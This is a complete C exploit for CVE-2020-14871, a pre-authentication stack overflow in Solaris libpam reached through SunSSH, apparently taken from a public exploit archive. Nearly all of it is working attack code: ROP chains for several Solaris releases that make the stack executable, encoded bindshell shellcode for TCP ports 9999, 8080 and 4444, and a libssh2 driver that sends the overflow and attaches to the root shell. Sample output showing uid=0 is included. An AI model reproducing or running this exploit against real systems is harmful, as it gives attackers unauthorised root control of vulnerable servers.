Solaris SunSSH versions 10 through 11.0 on x86 libpam remote root exploit.
8fbea7fde1a23252954cc85134e98724# Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root
# Exploit Author: Hacker Fantastic
# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris11-overview.html
# Version: 11
# Tested on: SunOS solaris 5.11 11.0
/* SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
* ====================================================================
* Makefile
* all: hfsunsshdx
*
* hfsunsshdx: main.c
* gcc main.c -o hfsunsshdx -lssh2
*
* clean:
* rm -rf hfsunsshdx
* rm -rf core.*
*
* A trivial to reach stack-based buffer overflow is present in libpam on
* Solaris. The vulnerable code exists in pam_framework.c parse_user_name()
* which allocates a fixed size buffer of 512 bytes on the stack and parses
* usernames into the buffer via modules (authtok_get) without bounds checks.
* This issue can be reached remotely pre-authentication via SunSSH when
* "keyboard-interactive" is enabled to use PAM based authentication. The
* vulnerability was discovered being actively exploited by FireEye in the
* wild and is part of an APT toolkit called "EVILSUN". The vulnerability
* is present in both SPARC/x86 versions of Solaris & others (eg. illumos).
* This exploit uses ROP gadgets to disable nxstack through mprotect on x86
* and a helper shellcode stub. The configuration in a default Solaris
* install is vulnerable. The exploit makes use of libssh2 and tested on
* Solaris 10 through 11.0. Solaris 9 does not ship with a vulnerable
* SunSSH implementation and versions later than 11.1 have updated SunSSH
* code that prevents the issue being triggered.
*
* e.g.
* ./hfsunsshdx -s 192.168.11.220 -t 0 -x 2
* [+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
* [-] chosen target 'Solaris 11 11/11 11.0 Sun_SSH_2.0 x86'
* [-] using shellcode 'Solaris 11.0 x86 bindshell tcp port 9999' 193 bytes
* [+] ssh host fingerprint: 01bc34fe8092e051716b91fd88eed210db2df49e
* [+] entering keyboard-interactive authentication.
* [-] number of prompts: 1
* [-] prompt 0 from server: 'Please enter user name: '
* [-] shellcode length 193 bytes
* [-] rop chain length 68
* [-] exploit buffer length 580
* [-] sending exploit magic buffer... wait
* [+] exploit success, handling payload...
* [-] connected.. enjoy :)
* SunOS solaris 5.11 11.0 i86pc i386 i86pc
* 6:49pm up 53 min(s), 1 user, load average: 0.01, 0.01, 0.01
* helpdesk console Nov 27 17:57
* uid=0(root) gid=0(root)
*
* -- Hacker Fantastic (https://hacker.house)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>
#include <getopt.h>
#include <time.h>
#include <signal.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <libssh2.h>
int sd = -1;
int oldsd = -1;
int ishell = -1;
char* buf;
char* payload;
char* retaddr;
struct sockaddr_in sain;
struct target {
char* name;
char* ropchain;
};
struct shellcode {
char* name;
char* shellcode;
};
void spawn_shell(int);
void bindshell_setup(short);
void on_alarm(int);
void on_interupt(int);
void prepare_payload();
const int targetno = 5;
struct target targets[] = {
{"Solaris 11 11/11 11.0 Sun_SSH_2.0 x86",
"\x41\x42\x43\x44" // %ebx
"\x45\x46\x47\x48" // %esi
"\x50\x51\x52\x53" // %ebp
"\xa7\x0e\x06\x08" // pop %ecx, pop %edx, pop %ebp
"\x9c\x3e\x04\x08" // ptr to (0x?, 0x?, 0x8044cf0, 0x7)
"\x01\x01\x04\x08" // %edx unused, must be writeable addr
"\x41\x42\x43\x44" // %ebp unused var
"\x93\xdb\xc8\xfe" // pop %edx ; ret
"\x01\x30\x04\x08" // ptr to 0x08043001 mprotect arg
"\x1a\xe7\x0b\xfe" // dec %edx ; ret
"\x79\x41\xfe\xfe" // mov %edx,$0x4(%ecx) ; xor %eax, %eax ; ret
"\x93\xdb\xc8\xfe" // pop %edx ; ret
"\x01\x30\x04\x08" // ptr to shellcode
"\xe0\xe8\x3e\xfe" // mov $0x72,%al
"\x64\x7c\xc3\xfe" // inc %eax ; ret
"\x64\x7c\xc3\xfe" // inc %eax ; ret
"\x22\x9d\xd3\xfe"},// sysenter
{"Solaris 11 Express (snv_151a) Sun_SSH_1.5 x86",
"\x41\x42\x43\x44" // %ebx overwrite unused
"\x41\x42\x43\x44" // %esi overwrite unused
"\xf8\x32\x04\x08" // %ebp overwrite unused
"\xb7\xf9\x05\x08" // pop %ecx ; pop %edx ; pop %ebp ; ret
"\x7e\x36\x02\x04" // ptr/2 to (0x?, 0x0, 0x1000, 0x7)
"\x01\x30\x04\x08" // ptr for %edx
"\x44\x43\x42\x41" // ptr for %ebp unused
"\xe4\xd4\xde\xfe" // dec %edx ; add %ecx, %ecx ; ret
"\x19\x42\xfe\xfe" // mov %edx,$0x4(%ecx) ; xor %eax, %eax; ret
"\xb8\xf9\x05\x08" // pop %edx ; pop %ebp ; ret
"\xeb\x30\x04\x08" // shellcode ptr for %edx
"\x1c\x33\x04\x08" // %ebp & used by "leave"
"\x84\x98\x51\xfe" // mov $0x82, %eax ; pop %esi ; pop %ebx ; leave ; ret
"\x41\x42\x43\x44" // %esi unused
"\xe0\x30\x04\x08" // shellcode ptr to %ebx
"\xe8\x32\x04\x08" // ptr into %ebp
"\x19\x3f\xfe\xfe" // sub $0x4,%eax ; ret
"\x19\x3f\xfe\xfe" // sub $0x4,%eax ; ret
"\x19\x3f\xfe\xfe" // sub $0x4,%eax ; ret
"\x11\x3f\xfe\xfe" // sub $0x2,%eax ; ret
"\xfe\xf8\xcf\xfe"},// sysenter
{"Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86",
"\xc3\x31\x04\x08" // overwrite %ebp unused
"\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret
"\x29\x28\x07\x08" // pop %ebx ; ret
"\xf0\xff\xaf\xfe" // 0x0a writen to address, unused gadget
"\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret
"\x01\x30\x04\x08" // %edx pointer to page
"\xb8\x31\x04\x08" // unused %ebp value
"\xaa\x4c\x68\xfe" // pop %ecx ; ret
"\xe0\x6e\x04\x08" // ptr (0x?,0x0,0x1000,0x7)
"\x61\x22\x07\x08" // dec %edx ; ret
"\x8b\x2d\xfe\xfe" // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret
"\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret
"\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret
"\xc3\x31\x04\x08" // shellcode addr for %edx
"\xc3\x31\x04\x08" // unused %ebp value
"\xf6\x0d\xf4\xfe"},// sysenter, (ret into shellcode via %edx)
{"Solaris 10 8/11 (147441-01) Sun_SSH_1.1.4 x86",
"\xc3\x31\x04\x08" // overwrite %ebp unused
"\x73\x6a\xd7\xfe" // mov $0x74, %eax ; ret
"\xb1\x26\x07\x08" // pop %ebx ; ret
"\xff\x01\xac\xfe" // write garbage here, unused gadget
"\x98\xb9\x05\x08" // pop %edx ; pop %ebp ; ret
"\xff\x2f\x04\x08" // %edx pointer to page
"\xc3\x31\x04\x08" // unused %ebp value
"\x57\xaa\xe4\xfe" // pop %ecx ; ret
"\x94\x11\x5f\xfe" // ptr rwx (0x?,0x04b,0xe50,0x7)
"\xee\x6a\x65\xfe" // inc %edx ; ret
"\x9b\xc5\xc1\xfe" // mov %edx,0x4($ecx) ; xor %eax,%eax ; ret
"\x73\x6a\xd7\xfe" // mov $0x74, %eax ; ret
"\x86\xae\xe5\xfe" // pop %edx ; ret
"\xc3\x31\x04\x08" // shellcode return address for %edx
"\x66\x56\xb9\xfe"},// sysenter (ret into shellcode via %edx)
{"Solaris all Sun_SSH_1.x.x debug crash target",
"\x41\x42\x43\x43" // %ebp ptr
"\x78\x79\x80\x81"} // %eip ptr
};
const int shellno = 4;
struct shellcode shellcodes[] = {
{"Solaris x86 bindshell tcp port 9999",
/* mprotect magic stub necessary for payloads expecting +x stack */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xc9"
"\xbb\x01\x10\x04\x08\x66\xb8\x01\x70\xb1\x07\x4b\x48\x51\x50"
"\x53\x53\x89\xe1\x31\xc0\xb0\x74\xcd\x91"
/* mprotect_shellcode.S Solaris x86 mprotect(0x08044000,0x7000,0x07);
==================================================================
xorl %eax, %eax
xorl %ecx, %ecx
movl $0x08041001, %ebx
movw $0x7001, %ax
movb $0x7,%cl
dec %ebx
dec %eax
pushl %ecx
pushl %eax
pushl %ebx
pushl %ebx
movl %esp, %ecx
xorl %eax, %eax
movb $0x74, %al
int $0x91
*/
/* msfvenom -p solaris/x86/shell_bind_tcp -b "\x09\x20" LPORT=9999 -f c -e x86/xor_dynamic */
"\xeb\x23\x5b\x89\xdf\xb0\x55\xfc\xae\x75\xfd\x89\xf9\x89\xde"
"\x8a\x06\x30\x07\x47\x66\x81\x3f\x2a\x95\x74\x08\x46\x80\x3e"
"\x55\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x01\x55\x69"
"\xfe\xd9\xfe\x3d\x6b\x64\x88\xe7\xf6\x57\x05\xf7\x17\x30\xc1"
"\x51\x69\xfe\x03\x26\x0e\x88\xe6\x6b\x03\x51\x51\x6b\x03\x6b"
"\x03\xb1\xe7\xfe\xd7\x6b\x11\x56\x51\x30\xc1\xb1\xe9\xfe\xd7"
"\x5a\x51\x51\x52\xb1\xe8\xfe\xd7\xb1\xeb\xfe\xd7\x6b\x08\x51"
"\x6b\x3f\x59\xfe\xd7\xfe\x4e\xd9\x78\xf7\x51\x69\x2e\x2e\x72"
"\x69\x69\x2e\x63\x68\x6f\x88\xe2\x51\x52\x88\xe0\x51\x50\x52"
"\xb1\x3a\xfe\xd7\x2a\x95"},
{"Solaris x86 bindshell tcp port 8080",
/* mprotect magic stub necessary for payloads expecting +x stack */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xc9"
"\xbb\x01\x10\x04\x08\x66\xb8\x01\x70\xb1\x07\x4b\x48\x51\x50"
"\x53\x53\x89\xe1\x31\xc0\xb0\x74\xcd\x91"
/* msfvenom -p solaris/x86/shell_bind_tcp -b "\x09\x20" LPORT=8080 -f c -e x86/xor_dynamic */
"\xeb\x23\x5b\x89\xdf\xb0\x9a\xfc\xae\x75\xfd\x89\xf9\x89\xde"
"\x8a\x06\x30\x07\x47\x66\x81\x3f\x44\x60\x74\x08\x46\x80\x3e"
"\x9a\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x01\x9a\x69"
"\xfe\xd9\xfe\x3d\x6b\x64\x88\xe7\xf6\x57\x05\xf7\x17\x30\xc1"
"\x51\x69\xfe\x03\x1e\x91\x88\xe6\x6b\x03\x51\x51\x6b\x03\x6b"
"\x03\xb1\xe7\xfe\xd7\x6b\x11\x56\x51\x30\xc1\xb1\xe9\xfe\xd7"
"\x5a\x51\x51\x52\xb1\xe8\xfe\xd7\xb1\xeb\xfe\xd7\x6b\x08\x51"
"\x6b\x3f\x59\xfe\xd7\xfe\x4e\xd9\x78\xf7\x51\x69\x2e\x2e\x72"
"\x69\x69\x2e\x63\x68\x6f\x88\xe2\x51\x52\x88\xe0\x51\x50\x52"
"\xb1\x3a\xfe\xd7\x44\x60"},
/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */
{"Solaris 11.0 x86 bindshell tcp port 9999",
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xc9\x31\xd2\xbb\x01\x10\x04\x08\x66\xb8\x01\x70"
"\xb1\x07\x66\xba\x01\x10\x66\x31\xd3\x48\x51\x50\x53\x53\x89"
"\xe1\x31\xc0\xb0\x74\xcd\x91"//not encoded, stack address different
"\xb8\x5d\x6d\x26\x15\xda\xce\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x19\x31\x42\x15\x83\xea\xfc\x03\x42\x11\xe2\xa8\x05\xd9\xcd"
"\xad\xea\x4f\x8b\xd8\xf5\x67\x05\xde\x0f\x91\x9b\x1e\xbf\xf6"
"\x24\x9c\x67\x08\x52\x47\x0d\x14\x34\xd7\xb8\x1a\xde\xd5\x8c"
"\xfd\xe1\x0f\x86\x11\x49\xff\x66\xd2\xc5\x17\x77\x04\x7e\xb7"
"\xdb\x19\x68\xc8\x0a\xe9\x81\xc9\x65\x60\x5f\x5f\x83\x25\x35"
"\xa1\xcb\x3a\x1f\x22\xa4\x1c\xd9\x2a\x0a\x5d\x4a\xba\x42\x72"
"\x18\x52\xf5\xa3\xbc\xcb\x6b\x35\xa3\x5b\x27\xcc\xc5\x0b\x97"
"\x9f\x56\x1b\x2c\xdf\x8f"},
/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */
{"Solaris 11.0 x86 bindshell tcp port 4444",
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xc9\x31\xd2\xbb\x01\x10\x04\x08\x66\xb8\x01\x70"
"\xb1\x07\x66\xba\x01\x10\x66\x31\xd3\x48\x51\x50\x53\x53\x89"
"\xe1\x31\xc0\xb0\x74\xcd\x91"//not encoded, stack address different
"\xb8\x8d\x2e\x32\x79\xd9\xe5\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x19\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\x78\x46\xcd\xa1"
"\x7d\xab\x5b\x37\x08\x32\x6c\xe1\x0e\x4d\x85\x3f\xce\xe1\xc2"
"\xc0\xcc\x1e\x83\xb6\x37\x4a\xa1\x98\xe7\xe1\xa7\x72\x05\x46"
"\x41\x7d\xdf\xcc\x9e\xd5\x8f\x21\x5f\x69\xc7\xbd\x89\xd1\x47"
"\x11\x86\x0f\x98\x43\x56\x25\x99\xba\xfd\xb3\x0f\x4a\x52\xae"
"\xf1\x14\xad\xf8\xf2\xea\x89\x7c\xfa\xc4\xe9\x2f\x6a\x08\xc5"
"\xbc\x02\x3e\x36\x21\xbb\xd0\xc1\x46\x6b\x7e\x5b\x69\xdb\xd0"
"\x0a\x39\x6b\xeb\x53\x6b"}
};
void spawn_shell(int sd) {
#define sockbuflen 2048
int rcv;
char sockbuf[sockbuflen];
fd_set readfds;
memset(sockbuf,0,sockbuflen);
snprintf(sockbuf,sockbuflen,"uname -a;uptime;who;id\n");
write(sd,sockbuf,strlen(sockbuf));
while (1) {
FD_ZERO(&readfds);
FD_SET(0,&readfds);
FD_SET(sd,&readfds);
select(255,&readfds,NULL,NULL,NULL);
if (FD_ISSET(sd, &readfds)) {
memset(sockbuf,0,sockbuflen);
rcv = read(sd,sockbuf,sockbuflen);
if (rcv <= 0) {
printf("\e[1m\e[34m[!] connection closed by foreign host.\n\e[0m");
exit(-1);
}
printf("%s",sockbuf);
fflush(stdout);
}
if(FD_ISSET(0,&readfds)) {
memset(sockbuf,0,sockbuflen);
read(0,sockbuf,sockbuflen);
write(sd,sockbuf,strlen(sockbuf));
}
}
}
void bindshell_setup(short port){
oldsd = sd;
sd = socket(AF_INET,SOCK_STREAM,0);
sain.sin_port = htons(port);
if(connect(sd,(struct sockaddr*)&sain,sizeof(sain))<0){
printf("[!] fatal bind shell failed\n\e[0m");
exit(-1);
}
printf("[-] connected.. enjoy :)\e[0m\n");
spawn_shell(sd);
}
void on_alarm(int signum){
printf("[+] exploit success, handling payload...\n");
if(ishell==0||ishell==2){
bindshell_setup(9999);
}
if(ishell==1||ishell==3){
bindshell_setup(8080);
}
printf("[-] exploit complete\n\e[0m");
exit(0);
}
void on_interrupt(int signum){
printf("\e[1m\e[34m[!] interrupt caught... cleaning up\n\e[0m");
if(sd){
close(sd);
}
if(oldsd){
close(oldsd);
}
exit(0);
}
void prepare_payload(){ /* bad characters are 0x20 0x09 & 0x00 */
#define payload_size 4096
int len = strlen(payload);
buf = malloc(payload_size);
char randchar = 'A';
char* randbuf = malloc(2);
if(!buf||!randbuf){
printf("[!] fatal payload buffer error\n");
exit(-1);
}
srand(time(NULL));
memset(buf,'\x00',payload_size);
memset(randbuf,0,2);
printf("[-] shellcode length %d bytes\n",len);
if(len < 512 && payload_size > 1024){
memcpy(buf,payload,len);
for(int i =0;i <= (512 - len);i++){
randchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[random() % 52];
memcpy(randbuf,&randchar,1);
strcat(buf,randbuf);
}
len = strlen(retaddr);
printf("[-] rop chain length %d\n",len);
if(len + 512 < payload_size){
memcpy((void*)(long)buf+512,(void*)retaddr,len);
len = strlen(buf);
printf("[-] exploit buffer length %d\n",len);
}
else{
printf("[!] exploit buffer miscalculated\n");
exit(-1);
}
}
else{
printf("[!] exploit buffer miscalculated\n");
exit(-1);
}
}
static void kbd_callback(const char *name, int name_len,const char *instruction, int instruction_len,int num_prompts,const LIBSSH2_USERAUTH_KBDINT_PROMPT *prompts,LIBSSH2_USERAUTH_KBDINT_RESPONSE *responses, void **abstract) {
int i = 0;
signal(SIGALRM, &on_alarm);
printf("[+] entering keyboard-interactive authentication.\n");
printf("[-] number of prompts: %d\n", num_prompts);
printf("[-] prompt %d from server: '", i);
fwrite(prompts[i].text, 1, prompts[i].length, stdout);
printf("'\n");
prepare_payload();
//uncomment to pause for gdb debugging
//sleep(10);
responses[i].text = strdup(buf);
responses[i].length = strlen(buf);
printf("[-] sending exploit magic buffer... wait\n");
alarm(5);
}
int main(int argc,char **argv){
int ihost = 0, itarg = 0, port = 22, index = 0, rc = 0;
char* host;
int i, type, exitcode;
unsigned long hostaddr;
const char *fingerprint;
LIBSSH2_SESSION *session;
LIBSSH2_CHANNEL *channel;
char *exitsignal = (char *)"none";
size_t len;
LIBSSH2_KNOWNHOSTS *nh;
static struct option options[] = {
{"server", 1, 0, 's'},
{"port", 1, 0, 'p'},
{"target", 1, 0, 't'},
{"shellcode", 1, 0, 'x'},
{"help", 0, 0,'h'}
};
printf("\e[1m\e[34m[+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871\n");
while(rc != -1) {
rc = getopt_long(argc,argv,"s:p:t:x:h",options,&index);
switch(rc) {
case -1:
break;
case 's':
if(ihost==0){
host = malloc(strlen(optarg) + 1);
if(host){
sprintf(host,"%s",optarg);
ihost = 1;
}
}
break;
case 'p':
port = atoi(optarg);
break;
case 'x':
if(ishell==-1) {
rc = atoi(optarg);
switch(rc){
case 0:
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;
case 1:
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;
case 2:
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;
case 3:
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;
default:
printf("[!] Invalid shellcode selection %d\n",rc);
exit(0);
break;
}
}
break;
case 't':
if(itarg==0){
rc = atoi(optarg);
switch(rc){
case 0:
printf("[-] chosen target '%s'\n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 1:
printf("[-] chosen target '%s'\n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 2:
printf("[-] chosen target '%s'\n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 3:
printf("[-] chosen target '%s'\n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 4:
printf("[-] chosen target '%s'\n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
default:
printf("[!] Invalid target selection %d\n", rc);
exit(0);
break;
}
itarg = 1;
}
break;
case 'h':
printf("[!] Usage instructions.\n[\n");
printf("[ %s <required> (optional)\n[\n[ --server|-s <ip/hostname>\n",argv[0]);
printf("[ --port|-p (port)[default 22]\n[ --target|-t <target#>\n");
printf("[ --shellcode|-x <shellcode#>\n[\n");
printf("[ Target#'s\n");
for(i = 0;i <= targetno - 1;i++){
printf("[ %d \"%s\"\n",i,targets[i]);
}
printf("[\n[ Shellcode#'s\n");
for(i = 0;i <= shellno - 1;i++){
printf("[ %d \"%s\" (length %d bytes)\n",i,shellcodes[i].name,strlen(shellcodes[i].shellcode));
}
printf("\e[0m");
exit(0);
break;
default:
break;
}
}
if(itarg != 1 || ihost != 1 || ishell < 0){
printf("[!] error, insufficient arguments, try running '%s --help'\e[0m\n",argv[0]);
exit(-1);
}
rc = libssh2_init(0);
hostaddr = inet_addr(host);
sd = socket(AF_INET, SOCK_STREAM, 0);
sain.sin_family = AF_INET;
sain.sin_port = htons(port);
sain.sin_addr.s_addr = hostaddr;
if(connect(sd, (struct sockaddr*)(&sain),sizeof(struct sockaddr_in)) != 0) {
fprintf(stderr, "[!] failed to connect!\n");
goto shutdown;
}
session = libssh2_session_init();
libssh2_session_set_blocking(session, 1);
while((rc = libssh2_session_handshake(session, sd))==LIBSSH2_ERROR_EAGAIN);
if(rc) {
printf("[!] failure establishing ssh session: %d\n", rc);
goto shutdown;
}
nh = libssh2_knownhost_init(session);
if(!nh) {
printf("[!] failure on libssh2 init\n");
goto shutdown;
}
fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
printf("[+] ssh host fingerprint: ");
for(i = 0; i < 20; i++) {
printf("%02x", (unsigned char)fingerprint[i]);
}
printf("\n");
libssh2_knownhost_free(nh);
signal(SIGINT,&on_interrupt);
libssh2_userauth_keyboard_interactive(session, "", &kbd_callback);
printf("[!] exploit failed, core maybe on target!\n");
shutdown:
if(sd){
close(sd);
}
printf("\e[0m");
return -2;
}